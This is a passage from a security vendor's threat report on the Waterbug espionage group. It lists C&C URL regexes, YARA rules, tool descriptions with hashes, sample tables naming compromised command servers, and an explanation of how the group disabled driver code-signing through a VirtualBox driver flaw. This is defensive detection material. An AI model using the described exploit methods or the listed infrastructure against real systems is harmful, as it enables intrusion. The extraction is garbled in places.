• /index/index.php?h=F1fQaYDD0tE%3d&d=FW%2bwHgmYa9EXVt9bsPDq4SVg6VC09ebkJ2PQaYDD0tEXV9Bp
gMPg4SRv4Fu3%2buvlIWPlWbSH4%2bAkYeBasPDi4zk9oA6g4%2fLxN3fwSaDj8vE3d%2fBJoOPy8T%3d%3d
• /index/index.php?h=2BhzAaseIe4%3d&d=2CATdiJFmO7YGXwzmy0Z3uovSjifKBXb6CxzAaseIe7YGHMBqx5%3d
Regex
• .*( /index/index\.php\?h=.*&d=.*).*
Pattern ten
Earlier variants of Trojan.Wipbot/Tavdig C&C communication:
GET /auth.cgi?mode=query&id=[IDENTIFIER]&serv=[DOMAIN]&lang=en&q=[RANDOM
NUMBERS]-[RANDOM NUMBERS]&date=[DATE]
Regex
• .*(\/auth.cgi?mode=query&id=).*
Pattern eleven
C&C communication to retrieve tasks for Uroburos 2009/2013 samples:
GET /default.asp?act=[IDENTIFIER]&id=[IDENTIFIER]&item=[IDENTIFIER]&event _
id=[EVENT ID]&cln=[IDENTIFIER]&flt=[CHECKSUM]&serv=[DOMAIN]&t=[EPOCH TIMESTAMP]Page 24
The Waterbug attack group
&mode=query&lang=en&date=[DATE]
Regex
• .*(\ /default.asp?act=.*&id=).*
Yara signatures
Trojan.Wipbot 2014 core PDF
rule wipbot _ 2013 _ core _ PDF{
strings:
$PDF = “%PDF-” $a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/ $b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/ condition: ($PDF at 0) and #a > 150 and #b > 200}
Trojan.Wipbot 2013 DLL
rule wipbot _ 2013 _ dll { meta: description = “Down.dll component”
strings:
$string1 = “/%s?rank=%s” $string2 = “ModuleStart\x00ModuleStop\x00start” $string3 = “1156fd22-3443-4344-c4ffff” //read file... error.. $string4 = “read\x20file\x2E\x2E\x2E\x20error\x00\x00” condition: 2 of them}
Trojan.Wipbot 2013 core component
rule wipbot _ 2013 _ core { meta: description = “core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error”
strings:
$mz = “MZ”
/*
8947 0C MOV DWORD PTR DS:[EDI+C], EAX C747 10 90C20400 MOV DWORD PTR DS:[EDI+10], 4C290 C747 14 90C21000 MOV DWORD PTR DS:[EDI+14], 10C290 C747 18 90906068 MOV DWORD PTR DS:[EDI+18], 68609090 894F 1C MOV DWORD PTR DS:[EDI+1C], ECX C747 20 909090B8 MOV DWORD PTR DS:[EDI+20], B8909090 894F 24 MOV DWORD PTR DS:[EDI+24], ECX C747 28 90FFD061 MOV DWORD PTR DS:[EDI+28], 61D0FF90 C747 2C 90C20400 MOV DWORD PTR DS:[EDI+2C], 4C290 */ $code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}Page 25
The Waterbug attack group
/*
85C0 TEST EAX, EAX 75 25 JNZ SHORT 64106327.00403AF1 8B0B MOV ECX, DWORD PTR DS:[EBX] BF ???????? MOV EDI, ???????? EB 17 JMP SHORT 64106327.00403AEC 69D7 0D661900 IMUL EDX, EDI, 19660D 8DBA 5FF36E3C LEA EDI, DWORD PTR DS:[EDX+3C6EF35F] 89FE MOV ESI, EDI C1EE 10 SHR ESI, 10 89F2 MOV EDX, ESI 301401 XOR BYTE PTR DS:[ECX+EAX], DL 40 INC EAX 3B43 04 CMP EAX, DWORD PTR DS:[EBX+4] 72 E4 JB SHORT 64106327.00403AD5 */ $code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4} $code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04} $code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
condition:
$mz at 0 and (($code1 or $code2) or ($code3 and $code4))}
Trojan.Turla dropper
rule turla _ dropper{
strings:
$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 2E 64 6C
6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8} condition: all of them}
Trojan.Turla DLL
rule turla _ dll{
strings:
$a = /([A-Za-z0-9]{2,10} _ ){,2}Win32\.dll\x00/ condition: pe.exports(“ee”) and $a}
FA
rule fa{ strings: $mz = “MZ” $string1 = “C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb”Page 26
The Waterbug attack group
$string2 = “d:\\proj\\cn\\fa64\\”
$string3 = “sengoku _ Win32.sys\x00” $string4 = “rk _ ntsystem.c” $string5 = “\\uroboros\\” $string6 = “shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}” condition: ($mz at 0) and (any of ($string*))}
SAV dropper
rule sav _ dropper{ strings: $mz = “MZ” $a = /[a-z]{,10}_ x64.sys\x00hMZ\x00/
condition:
($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number _ of _ sections == 6 and $a}
SAV
rule sav{ strings: $mz = “MZ” /* 8B 75 18 mov esi, [ebp+arg _10] 31 34 81 xor [ecx+eax*4], esi 40 inc eax 3B C2 cmp eax, edx 72 F5 jb short loc _9F342 33 F6 xor esi, esi 39 7D 14 cmp [ebp+arg _ C], edi 76 1B jbe short loc _9F36F 8A 04 0E mov al, [esi+ecx] 88 04 0F mov [edi+ecx], al 6A 0F push 0Fh 33 D2 xor edx, edx 8B C7 mov eax, edi 5B pop ebx F7 F3 div ebx 85 D2 test edx, edx 75 01 jnz short loc _9F368 */ $code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
/*
8B 45 F8 mov eax, [ebp+var _ 8] 40 inc eax 89 45 F8 mov [ebp+var _ 8], eax 8B 45 10 mov eax, [ebp+arg _ 8] C1 E8 02 shr eax, 2 39 45 F8 cmp [ebp+var _ 8], eax 73 17 jnb short loc _4013ED 8B 45 F8 mov eax, [ebp+var _ 8] 8B 4D F4 mov ecx, [ebp+var _ C]Page 27
The Waterbug attack group
8B 04 81 mov eax, [ecx+eax*4]
33 45 20 xor eax, [ebp+arg _18] 8B 4D F8 mov ecx, [ebp+var _ 8] 8B 55 F4 mov edx, [ebp+var _ C] 89 04 8A mov [edx+ecx*4], eax EB D7 jmp short loc _4013C4 83 65 F8 00 and [ebp+var _ 8], 0 83 65 EC 00 and [ebp+var _14], 0 EB 0E jmp short loc _401405 8B 45 F8 mov eax, [ebp+var _ 8] 40 inc eax 89 45 F8 mov [ebp+var _ 8], eax 8B 45 EC mov eax, [ebp+var _14] 40 inc eax 89 45 EC mov [ebp+var _14], eax 8B 45 EC mov eax, [ebp+var _14] 3B 45 10 cmp eax, [ebp+arg _ 8] 73 27 jnb short loc _401434 8B 45 F4 mov eax, [ebp+var _ C] 03 45 F8 add eax, [ebp+var _ 8] 8B 4D F4 mov ecx, [ebp+var _ C] 03 4D EC add ecx, [ebp+var _14] 8A 09 mov cl, [ecx] 88 08 mov [eax], cl 8B 45 F8 mov eax, [ebp+var _ 8] 33 D2 xor edx, edx 6A 0F push 0Fh 59 pop ecx F7 F1 div ecx 85 D2 test edx, edx 75 07 jnz short loc _401432 */ $code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 } /* 8A 04 0F mov al, [edi+ecx] 88 04 0E mov [esi+ecx], al 6A 0F push 0Fh 33 D2 xor edx, edx 8B C6 mov eax, esi 5B pop ebx F7 F3 div ebx 85 D2 test edx, edx 75 01 jnz short loc _ B12FC 47 inc edi 8B 45 14 mov eax, [ebp+arg _ C] 46 inc esi 47 inc edi 3B F8 cmp edi, eax 72 E3 jb short loc _ B12E8 EB 04 jmp short loc _ B130B C6 04 08 00 mov byte ptr [eax+ecx], 0 48 dec eax 3B C6 cmp eax, esiPage 28
The Waterbug attack group
73 F7 jnb short loc _ B1307
33 C0 xor eax, eax
C1 EE 02 shr esi, 2 74 0B jz short loc _ B1322 8B 55 18 mov edx, [ebp+arg _10] 31 14 81 xor [ecx+eax*4], edx 40 inc eax 3B C6 cmp eax, esi 72 F5 jb short loc _ B1317 */ $code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81
40 3B C6 72 F5} /* 29 5D 0C sub [ebp+arg _4], ebx
8B D1 mov edx, ecx
C1 EA 05 shr edx, 5 2B CA sub ecx, edx 8B 55 F4 mov edx, [ebp+var _ C] 2B C3 sub eax, ebx 3D 00 00 00 01 cmp eax, 1000000h 89 0F mov [edi], ecx 8B 4D 10 mov ecx, [ebp+arg _ 8] 8D 94 91 00 03 00 00 lea edx, [ecx+edx*4+300h] 73 17 jnb short loc _9FC44 8B 7D F8 mov edi, [ebp+var _ 8] 8B 4D 0C mov ecx, [ebp+arg _4] 0F B6 3F movzx edi, byte ptr [edi] C1 E1 08 shl ecx, 8 0B CF or ecx, edi C1 E0 08 shl eax, 8 FF 45 F8 inc [ebp+var _ 8] 89 4D 0C mov [ebp+arg _4], ecx 8B 0A mov ecx, [edx] 8B F8 mov edi, eax C1 EF 0B shr edi, 0Bh */ $code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
condition: ($mz at 0) and (($code1a or $code1b or $code1c) and $code2)}
ComRAT
rule comrat{ strings: $mz = “MZ” $b = {C645????} $c = {C685??FEFFFF??} $d = {FFA0??0?0000} $e = {89A8??00000068??00000056FFD78B} $f = {00004889????030000488B} condition: ($mz at 0) and ((#c > 200 and #b > 200 ) or (#d > 40) and (#e > 15 or #f > 30))}Page 29
The Waterbug attack group
Waterbug tools
Symantec identified a number of tools used by the Waterbug group. Table 4 details the tools and lists their
associated MD5 hashes.
Table 4. Tools used by the Waterbug group
File name MD5 File path
tcpdump32c.exe • 9bec941bec02c7fbe037a97db8c89f18
• 6ce69e4bec14511703a8957e90ded1fa
• 1c05164fede51bf947f1e78cba811063
• 5129c26818ef712bde318dff970eba8d
• bdce0ed65f005a11d8e9a6747a3ad08c • Used for lateral movement across victim’s network
• Reads prt.ocx as its configuration file
• May use results from other tools like mspd32.exe to get to-
kens/ntlm hashes to access resources from victim’s network
• Can scan for open ports from a list of targeted computers or from a given Active Directory domain
• Can copy and execute files on remote computers found in the network
• There are several command line parameters that the file can accept and the most notable ones are:• /exp:dns — possible DNS exploit
• /exp:08067 — seems to be capable of exploiting the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability Vulnerability (CVE-2008-4250). Needs another parameter which is the path to the exploit binary to use
• /rputfile —possibly copying file to a targeted computer
• /rfile — possibly a remote file execute or remote log file
• /lfile — local logfile/userlist. Accepts user name and password for accessing remote computers in the tar-geted network /scanport
• Has encrypted binary files in its resource
mspd32.exe • e04ad0ec258cbbf94910a677f4ea54f0
• 928d0ef4c17f0be21f2ec5cc96182e0c• Used in access privilege elevation attacks and the dumping of
SAM through the DLL found in its resource section
• Communication is made through named pipe resources
typecli.exe • d686ce4ed3c46c3476acf1be0a1324e6
msc32.exe • 22fb51ce6e0bc8b52e9e3810ca9dc2e1 • Unknown
dxsnd32x.exe • df06bde546862336ed75d8da55e7b1cc
• a85616aec82078233ea25199c5668036
• b7d80000100f2cb50a37a8a5f21b185f
• 552a8e8d60731022dcb5a89fd4f313ec
• a1ecf883627a207ed79d0fd103534576
• 560f47c8c50598760914310c6411d3b1
• b28cbcd6998091f903c06a0a46a0fd8d
• b0952e130f6f8ad207998000a42531de
• c04190dc190b6002f064e3d13ac22212
• 959ed9d60a8f645fd46b7c7a9b62870c
• 305801a809b7d9136ab483682e26d52d
• e5a9fc45ab11dd0845508d122a6c8c8c• Main purpose is to get details of compromised computer,
such as OS version, service pack, host name, network adapter information (physical address, IP address)
msnetsrv.exe • bf0e4d46a51f27493cbe47e1cfb1b2ea
• 22149a1ee21e6d60758fe58b34f04952• Used to gather information process lists, installed programs, browser history, and list of recently accessed files (through registry)
• Checks for F-Secure installation
• Compresses and encrypt swinview.xml
pxinsi64.exe • f156ff2a1694f479a079f6777f0c5af0 • 64-bit driver possibly used by vboxdev_win32.dll
• Exploits vulnerability to load unsigned drivers
mswme32.exe • eb40189cde69d60ca6f9a3f0531dbc5e • Collects files with extensions (.*library, *.inf, *.exe, .*dll, .*dot)
• Encrypts with Trojan.Turla XOR key
• Compresses into .cab file
• Writes entry to vtmon.bin file
• Copies compressed file to %System%\win.com for exfiltration
• Can execute files
msnetserv.exe • 56f423c7a7fef041f3039319f2055509
• 22149a1ee21e6d60758fe58b34f04952• Same as mswme32.exe
msnet32.exe • eb40189cde69d60ca6f9a3f0531dbc5e • Same as mswme32.exePage 30
The Waterbug attack group
Additional exploits used
Waterbug exploits several weaknesses in Windows and a device driver vulnerability to load an unsigned driver on
the x64 Windows platform. The vulnerabilities used are as follows:
• Sun xVM VirtualBox ‘VBoxDrv.sys’ Local Privilege Escalation Vulnerability (CVE-2008-3431)
• Microsoft Windows #GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232)
• Microsoft Windows Argument Validation Local Privilege Escalation Vulnerability (CVE-2009-1125)
Sun xVM VirtualBox ‘VBoxDrv.sys’ Local Privilege Escalation Vulnerability (CVE-
2008-3431)
This vulnerability lets attackers get access to the g_CiEnabled flag which is supposed to be protected. This
vulnerability is used by most of the driver-based exploits.
Attackers can exploit a device IO vulnerability in the VBoxDrv.sys driver to set the g_CiEnabled flag to 0, allowing
any driver to be installed without performing code-signing checks.
The g_CiEnabled is a Windows flag that sets or resets when the computer restarts. This flag indicates whether
Windows should validate digital signatures before loading a driver. By default, x64 computers only allow signed drivers to be installed. A pseudo-code description of SepInitializeCodeIntegrity follows:
VOID SepInitializeCodeIntegrity(){DWORD CiOptions;g _ CiEnabled = FALSE;if(!InitIsWinPEMode) g _ CiEnabled = TRUE;
The g_CiEnabled flag is set when the computer restarts, depending on whether the computer is being booted in WinPE mode or not. Furthermore, whenever a driver is being loaded after the computer restarts, the operating system checks for this flag before validating the signature in the SeValidateImageHeader() function. In order to load the unsigned Uroburos driver, the attackers first gain access to the g_CiEnabled flag and then set it to zero. This resets the code-signing policy on the computer. However, resetting the flag requires kernel privileges. Because of this, the malware exploits a device IO vulnerability from an already signed driver (VBoxDrv.sys) to rpcsrv.exe • 20c9df1e5f426f9eb7461cd99d406904 • RPC server using ncacn_np identifier and binds to \\pipe\
hello
• Has several log strings pertaining to HTTP file downloads, list HTTP requests, list HTTP connections, remote HTTP requests
• Can be used as a proxy
charmap32.exe • ed3509b103dc485221c85d865fafafac • Executes msinfo32.exe /nfo and direct output to winview.nfo
• Creates cab file by compressing winview.nfo to winview.ocx
• Deletes winview.nfo
• Reads & encrypts contents of cab file using common XOR
mqsvc32.exe • 09886f7c1725fe5b86b28dd79bc7a4d1 • Capable of sending exfiltrated data through email using MAPI32.dll
msrss.exe • fb56ce4b853a94ae3f64367c02ec7e31 • Registers as a service “svcmgr” with display name ‘Windows
Svcmgr’
• Compiled with OpenSSL 1.0.0d 8 Feb 2011
• Can spawn command line shell process and send results to
C&C through SSL
• May read/write shell results to msrecda.dat
dc1.exe • fb56ce4b853a94ae3f64367c02ec7e31 • Same as msrss.exe
svcmgr.exe • fb56ce4b853a94ae3f64367c02ec7e31 • Same as msrss.exe
msx32.exe • 98992c12e58745854a885f9630124d3e • Used to encrypt file (supplied as argument on command line)
using common Trojan.Turla XOR key
• Output written to [FILE NAME].XORPage 31
The Waterbug attack group
reset the flag.
Based on Symantec’s analysis of a few driver exploits available on the internet and in the vboxdrv_win32.dll
code, we see that in order to again access to g_CiEnabled, the sample first loads the ntoskrnl.exe image. The malware then uses ci.dll to locate the CiInitialize() function address and finally the address of the g_CiEnabled flag.
The vboxdrv_win32.dll file has the signed VirtualBox driver (eaea9ccb40c82af8f3867cd0f4dd5e9d) embedded in
it. It loads this legitimate driver and then exploits the vulnerability to disable code-signing policy.
Microsoft Windows #GP Trap Handler Local Privilege Escalation Vulnerability
(CVE-2010-0232)
The ms10_025_win32.dll file exploits a privilege escalation vulnerability in the #GP trap handler. The exploit
works by executing debug.exe and then injecting a thread in this NTVDM subsystem.
MS09-025 Local privilege escalation vulnerability (CVE-2009-1125)
The ms09-025_win32.dll file exploits a local privilege escalation vulnerability to gain administrative privileges on the system.
Samples
Table 5 contains a list of samples associated with the Waterbug group.
Table 5. Samples associated with the Waterbug group
Threat family Timestamp MD5 Domain
Initial infector
(UI present)4c65126ae52cadb76ca1a9cfb8b4ce74
Initial infector (UI present)6776bda19a3a8ed4c2870c34279dbaa9
Initial infector (UI present)dba209c99df5e94c13b1f44c0f23ef2b
Initial infector (UI present)f44b1dea7e56b5eac95c12732d9d6435
Initial infector (UI present)1970-01-01 18:12:16030f5fdb78bfc1ce7b459d3cc2cf1877
Initial infector (UI present)1970-01-01 18:12:160f76ef2e6572befdc2ca1ca2ab15e5a1
Initial infector (UI present)1970-01-01 18:12:167c52c340ec5c6f57ef2fd174e6490433
Initial infector (UI present)1970-01-01 18:12:16c7617251d523f3bc4189d53df1985ca9
Initial infector (UI present)2014-01-13 12:37:451c3634c7777bd6667936ec279bac5c2a
Initial infector (UI present)2014-01-13 12:41:494d667af648047f2bd24511ef8f36c9cc
Initial infector (UI present)2014-02-05 14:37:32 626955d20325371aca2742a70d6861ab
Initial infector
(UI present)2014-02-05 14:37:3280323d1f7033bf33875624914a6a6010
Initial infector
(UI present)2014-02-05 14:39:2777083b1709681d43a1b0503057b6f096Page 32
The Waterbug attack group
Wipbot 2013 2013-10-15
10:34:06 6a61adc3990ffcf2a4138db82a17a94f blog.epiccosplay.com/wp-includes/sitemap/http://gofree.ir/wp-content/plugins/online-chat/ http://blog.epiccosplay.com/wp-includes/sitemap/ gofree.ir/wp-content/plugins/online-chat/
Wipbot 2013 2013-10-15
10:34:16a9f007fe165a77d0b8142cc384bdf6c5 blog.epiccosplay.com/wp-includes/sitemap/http://gofree.ir/wp-content/plugins/online-chat/
http://blog.epiccosplay.com/wp-includes/sitemap/
gofree.ir/wp-content/plugins/online-chat/
Wipbot 2013 2013-10-15
10:43:09 111ed2f02d8af54d0b982d8c9dd4932e
Wipbot 2013 2013-10-15 10:43:09 24b354f8cfb6a181906ceaf9a7ec28b0
Wipbot 2013 2013-10-15 10:43:09 397c19d4686233bf1be2907e7f4cb4ff
Wipbot 2013 2013-10-15 10:43:09 42b7b0bd4795fc8e336e1f145fc2d27c
Wipbot 2013 2013-10-15 10:43:09 61316789205628dd260efe99047219eb
Wipbot 2013 2013-10-15
10:43:09 d102e873971aa4190a809039bc789e4d
Wipbot 2013 2013-10-15
10:43:09 dc37cba3e8699062b4346fd21f83de81
Wipbot 2013 2013-10-15 10:43:09 ea1c266eec718323265c16b1fdc92dac
Wipbot 2013 2013-10-15 10:43:09 eaaf9f763ae8c70d6e63d4b1e3364f74
Wipbot 2013 2013-11-25
08:53:22 e50c8bd08efc3ad2e73f51444069f809 www.hadilotfi.com/wp-content/themes/profile/homaxcompany.com/components/com_sitemap/
http://homaxcompany.com/components/com_sitemap/
http://www.hadilotfi.com/wp-content/themes/profile/
Wipbot 2013 2013-11-25
08:53:3623bc358fd105a8ba1e5417b1054f26a6 www.hadilotfi.com/wp-content/themes/profile/homaxcompany.com/components/com_sitemap/http://homaxcompany.com/components/com_sitemap/http://www.hadilotfi.com/wp-content/themes/profile/
Wipbot 2013 2013-11-25 08:55:28 1011a47f0dfcb897f7e051de3cc31577
Wipbot 2013 2013-11-25 08:55:28 3ab3d463575a011dfad630da154600b5
Wipbot 2013 2013-11-25 08:55:28 7731d42b043865559258464fe1c98513
Wipbot 2013 2013-11-25 08:55:28 fdba4370b60eda1ee852c6515da9da58
Wipbot 2013 2013-12-01 07:56:31 89b0f1a3a667e5cd43f5670e12dba411
Wipbot 2013 2014-01-09 11:20:46 810ba298ac614d63ed421b616a5df0d0 losdivulgadores.com/wp-content/plugins/wp-themes/gspersia.com/first/fa/components/com_sitemap/http://gspersia.com/first/fa/components/com_sitemap/http://losdivulgadores.com/wp-content/plugins/
Wipbot 2013 2014-01-09 11:20:56 401910bebe1b9182c3ebbe5b209045ff losdivulgadores.com/wp-content/plugins/wp-themes/gspersia.com/first/fa/components/com_sitemap/http://gspersia.com/first/fa/components/com_sitemap/http://losdivulgadores.com/wp-content/plugins/
Wipbot 2013 2014-01-09 11:34:48 ab686acde338c67bec8ab42519714273
Wipbot 2013 2014-01-20 06:06:18 b2d239cc342bf972a27c79642a9216fc http://ncmp2014.com/modules/mod_feed/feed/mortezanevis.ir/wp-content/plugins/wp-static/;ncmp2014.com/modules/mod_feed/feed/http://mortezanevis.ir/wp-content/plugins/wp-static/Page 33
The Waterbug attack group
Wipbot 2013 2014-01-20
06:06:30 b101bbf83bda2a7e4ff105a2eb496c7b http://ncmp2014.com/modules/mod_feed/feed/mortezanevis.ir/wp-content/plugins/wp-static/;ncmp2014.com/modules/mod_feed/feed/http://mortezanevis.ir/wp-content/plugins/wp-static/
Wipbot 2013 2014-01-20
06:18:06 d31f1d873fa3591c027b54c2aa76a52b
Wipbot 2013 2014-02-04
11:29:36 cece6ec4d955b0f6fe09e057676105a7 http://onereliablesource.com/wp-content/plugins/sitemap/petrymantenimiento.com/wp-content/plugins/http://petrymantenimiento.com/wp-content/plugins/wordpress-form-manager/lang/onereliablesource.com/wp-content/plugins/sitemap/
Wipbot 2013 2014-02-04
11:29:46 b4411b1de933399872e-505ac4a74a871http://onereliablesource.com/wp-content/plugins/sitemap/
petrymantenimiento.com/wp-content/plugins/
http://petrymantenimiento.com/wp-content/plugins/
wordpress-form-manager/lang/
onereliablesource.com/wp-content/plugins/sitemap/
Wipbot 2013 2014-02-04 11:42:55 d22b0ec4e9b2302c07f38c835a78148a
Wipbot 2013 2014-02-21 15:08:01 2b145a418daee6dc5f2a21d8567d0546 http://akva-clean.ru/typo3temp/wizard.phphttp://www.automation-net.ru/typo3temp/akva-clean.ru/typo3temp/wizard.phpwww.automation-net.ru/typo3temp/viewpages.php
Wipbot 2013 2014-02-21
15:08:21 eb45f5a97d52bcf42fa989bd57a160df http://akva-clean.ru/typo3temp/wizard.phphttp://www.automation-net.ru/typo3temp/
akva-clean.ru/typo3temp/wizard.php
www.automation-net.ru/typo3temp/viewpages.php
Wipbot 2013 2014-02-21
15:09:56 764d643e5cdf3b8d4a04b50d0bc44660
Wipbot 2013 2014-04-07
10:27:46 6f05fdf54ac2aef2b04b0fe3c8b642bb filesara.ir/wp-content/themes/argentum/view/http://www.rchelicopterselect.com/blog/wp-content/themes/pagelines/view/http://filesara.ir/wp-content/themes/argentum/view/www.rchelicopterselect.com/blog/wp-content/themes/pagelines/view/
Wipbot 2013 2014-04-07 10:30:37)34e8034e1eba9f2c100768afe579c014 filesara.ir/wp-content/themes/argentum/view/http://www.rchelicopterselect.com/blog/wp-content/themes/pagelines/view/http://filesara.ir/wp-content/themes/argentum/view/www.rchelicopterselect.com/blog/wp-content/themes/pagelines/view/
Wipbot 2013 2014-04-07 10:31:02 f51ba5883a65a0f7cf6783a6490320d3
Wipbot 2013 2014-06-10 14:03:07 74ad9f180b1e1799b014f05b96f9d54e http://discontr.com/wp-content/themes/twentytwelve/categories.phpcuraj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.phphttp://curaj.net/pepeni/images/
Wipbot 2013 2014-06-10 14:05:04 2cba96a85424d8437289fb4ce6a42d82 http://discontr.com/wp-content/themes/twentytwelve/categories.phpcuraj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.phphttp://curaj.net/pepeni/images/
Wipbot 2013 2014-06-10 14:05:28 0e441602449856e57d1105496023f458
Wipbot 2013 2014-07-01 07:55:17 16da515aebff57e9d287af65ab3ee200 www.aspit.sn/administrator/modules/mod_feed/feed.phphttp://www.aspit.sn/administrator/modules/mod_feed/www.lacitedufleuve.com/Connections1/formulaire15.phphttp://www.lacitedufleuve.com/Connections1/formu-laire15.phpPage 34
The Waterbug attack group
Wipbot 2013 2014-07-01
07:55:17 456585dda72d985a0e58ab9f9ca3b5ff www.aspit.sn/administrator/modules/mod_feed/feed.phphttp://www.aspit.sn/administrator/modules/mod_feed/www.lacitedufleuve.com/Connections1/formulaire15.phphttp://www.lacitedufleuve.com/Connections1/formu-laire15.php
Wipbot 2013 2014-07-01 07:57:23 72025b23b54462942ea-9f0a5437d1932www.aspit.sn/administrator/modules/mod_feed/feed.phphttp://www.aspit.sn/administrator/modules/mod_feed/www.lacitedufleuve.com/Connections1/formulaire15.phphttp://www.lacitedufleuve.com/Connections1/formu-laire15.php
Wipbot 2013 2014-07-01 07:57:47 81371773630098af -
082d714501683c70
Wipbot 2013 2014-07-17
07:26:19 abf4996ce518b053c5791886bad7cf29 www.aspit.sn/administrator/modules/mod_feed/feed.phphttp://www.aspit.sn/administrator/modules/mod_feed/
www.lacitedufleuve.com/Connections1/formulaire15.php
http://www.lacitedufleuve.com/Connections1/formu-
laire15.php
Wipbot 2013 2014-07-17
07:26:29 d17d99c2ba99889726c9709aa00dec76 www.aspit.sn/administrator/modules/mod_feed/feed.phphttp://www.aspit.sn/administrator/modules/mod_feed/www.lacitedufleuve.com/Connections1/formulaire15.phphttp://www.lacitedufleuve.com/Connections1/formu-laire15.php
Wipbot 2013 2014-07-17 07:37:24 6410632704138b439dea980c1c4dd17f
FA 2009 4161f09f9774bd28f09b2725fd7594d6
FA 2009 43043da4b439d21e5fdf9b05f9e77e3e
FA 2009 2005-12-02 11:29:22 c98a0d1909d8fad4110c8f35ee6f8391
FA 2009 2009-09-23 06:45:45 2b61e8a11749bfb55d21b5d8441de5c9
FA 2009 2009-02-13 11:20:40 985ec031a278aa529c1eb677e18e12b6
FA 2009 2009-02-13 11:20:40 98de96dfa10f7e8f437fbd4d12872bc1
FA 2009 2009-10-30 10:50:10 6375c136f7f631b1d9b497c277e2faa6 te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com
FA 2009 2009-02-13 11:20:40 9152e0b3f19cb13a91449994695ffe86
FA 2009 2009-02-13 11:20:40 bdb03ec85704879f53bb5d61b8150a0f
FA 2009 2009-02-13 11:20:40dee81c3b22e98abbf941eaf0ae9c5478
FA 2009 2009-11-10 08:32:24 ce1ebd1f0d9bf24e463f3637b648b16f te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com
FA 2009 600ef94ae8a54ce287fb64493ca43728
FA 2009 2009-02-13 11:20:40 9a2f7e8fa0e5ccda88902ac5ea9f4713
FA 2009 2009-02-13 11:20:40 dad958df3a5c79a1d86f57309b2d4ea3
FA 2009 2009-12-07 12:28:26 944736466a50cdf16270b74b31b4d764te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.comPage 35
The Waterbug attack group
FA 2009 2009-12-07
12:41:17 e93f4dd907142db4b59bb736fc46f644
FA 2009 2010-01-28 14:30:29 938b92958ded4d50a357d22edd-f141ad
FA 2009 2010-02-02
11:08:53 3fa48f0675eb35d85f30f66324692786 pressbrig1.tripod.com www.scifi.pages.at/wordnew
support4u.5u.com
FA 2009 2010-06-08
12:17:4292f0ae3a725a42c28575290e1ad1ac4c te4step.tripod.com www.scifi.pages.at/wordnew
support4u.5u.com
FA 2009 2010-06-08
12:17:42 d664e4f660eb1f47e9879492c12d1042
FA 2011 536d604a1e6f7c6d635fef6137af34d1
FA 2011 b7cdff7d06e2c4656d860e2535bd8ee8
FA 2011 2011-10-11
11:09:19 4f901461bb8fa1369f85a7effd1787f1 euland.freevar.comcommunityeu.xp3.bizeu-sciffi.99k.org
FA 2011 2012-03-12 12:26:39 9af488ce67be89b3908931fe4ab21831 euland.freevar.comcommunityeu.xp3.bizeu-sciffi.99k.org
FA 2011 2012-12-26 07:14:18 deb674ce5721c5ed33446a32247a1a6b toolsthem.xp3.bizeuassociate.6te.net softprog.freeoda.com
FA 2011 2012-12-26 07:45:34038f0e564c06a817e8a53d054406383e
FA 2011 2012-12-26 07:45:3407c11b3370bee83fc012cac23a8dfddb
FA 2011 2012-12-27 10:19:53 6ae2efda0434d59ea808c2c6538243bc toolsthem.xp3.bizeuassociate.6te.net
softprog.freeoda.com
FA 2011 2013-01-15
10:44:46 8a7b172691f99fb894dd1c5293c2d60a
FA 2011 2013-01-15 10:44:46 ff64031d8e34243636ae725e8f9bbe8b
FA 2011 2013-02-13 13:38:20 1fd0b620e7ba3e9f468b90ffb616675e toolsthem.xp3.bizeuassociate.6te.net softprog.freeoda.com
